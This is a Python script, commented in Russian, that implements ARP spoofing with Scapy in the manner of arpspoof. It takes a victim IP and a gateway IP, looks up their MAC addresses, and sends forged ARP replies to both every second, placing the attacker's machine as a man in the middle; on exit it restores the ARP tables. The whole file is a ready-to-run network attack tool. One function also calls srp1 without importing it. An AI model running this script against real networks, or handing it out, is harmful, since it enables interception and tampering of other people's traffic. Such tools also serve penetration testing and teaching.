---

#!/usr/bin/env python3
"""
ARP Spoofer - реализация функциональности arpspoof на Python с использованием Scapy.
Запуск: sudo python3 arpspoof.py <target_ip> <gateway_ip>
"""

import sys
import time
import signal
from scapy.all import Ether, ARP, sendp, getmacbyip, conf, get_if_hwaddr

# Глобальные переменные для восстановления при завершении
target_ip = None
gateway_ip = None
target_mac = None
gateway_mac = None
attacker_mac = None
restore_required = False

def get_mac(ip):
    """Получить MAC-адрес по IP с помощью ARP-запроса."""
    mac = getmacbyip(ip)
    if mac is None:
        # Альтернативный способ через srp1
        ans = srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip),
                   timeout=2, verbose=False)
        if ans:
            mac = ans[Ether].hwsrc
    if mac is None:
        sys.exit(f"[!] Не удалось получить MAC-адрес для {ip}")
    return mac

def restore_arp():
    """Восстановить ARP-кэш жертвы и шлюза (отправить правильные ARP-ответы)."""
    print("\n[*] Восстановление ARP-таблиц...")
    if target_mac and gateway_mac and attacker_mac:
        # Правильный ARP для жертвы: gateway IP -> gateway MAC
        restore_target = Ether(dst=target_mac) / ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac,
                                                     pdst=target_ip, hwdst=target_mac)
        # Правильный ARP для шлюза: target IP -> target MAC
        restore_gateway = Ether(dst=gateway_mac) / ARP(op=2, psrc=target_ip, hwsrc=target_mac,
                                                       pdst=gateway_ip, hwdst=gateway_mac)
        # Отправляем несколько раз для надежности
        for _ in range(5):
            sendp(restore_target, verbose=False)
            sendp(restore_gateway, verbose=False)
            time.sleep(0.1)
        print("[+] ARP-таблицы восстановлены.")

def signal_handler(sig, frame):
    """Обработчик сигналов Ctrl+C и завершения."""
    global restore_required
    if restore_required:
        restore_arp()
    sys.exit(0)

def main():
    global target_ip, gateway_ip, target_mac, gateway_mac, attacker_mac, restore_required

    if len(sys.argv) != 3:
        print(f"Использование: sudo {sys.argv[0]} <target_ip> <gateway_ip>")
        sys.exit(1)

    target_ip = sys.argv[1]
    gateway_ip = sys.argv[2]

    print("[*] Получение MAC-адресов...")
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    # MAC-адрес атакующего (интерфейс по умолчанию)
    attacker_mac = get_if_hwaddr(conf.iface)

    print(f"[+] MAC жертвы ({target_ip}): {target_mac}")
    print(f"[+] MAC шлюза ({gateway_ip}): {gateway_mac}")
    print(f"[+] MAC атакующего ({conf.iface}): {attacker_mac}")

    # Подготовка ARP-ответов (поддельных)
    # Для жертвы: говорим, что gateway IP принадлежит атакующему
    poison_target = Ether(dst=target_mac) / ARP(op=2, psrc=gateway_ip, hwsrc=attacker_mac,
                                                 pdst=target_ip, hwdst=target_mac)
    # Для шлюза: говорим, что target IP принадлежит атакующему (двустороннее отравление)
    poison_gateway = Ether(dst=gateway_mac) / ARP(op=2, psrc=target_ip, hwsrc=attacker_mac,
                                                  pdst=gateway_ip, hwdst=gateway_mac)

    print(f"[*] Начинается ARP-spoofing: {target_ip} <- {gateway_ip}")
    print("[*] Нажмите Ctrl+C для остановки и восстановления ARP-таблиц.\n")

    restore_required = True
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)

    try:
        while True:
            sendp(poison_target, verbose=False)
            sendp(poison_gateway, verbose=False)
            time.sleep(1)  # Отправка каждую секунду
    except Exception as e:
        print(f"\n[!] Ошибка: {e}")
        restore_arp()
        sys.exit(1)

if __name__ == "__main__":
    main()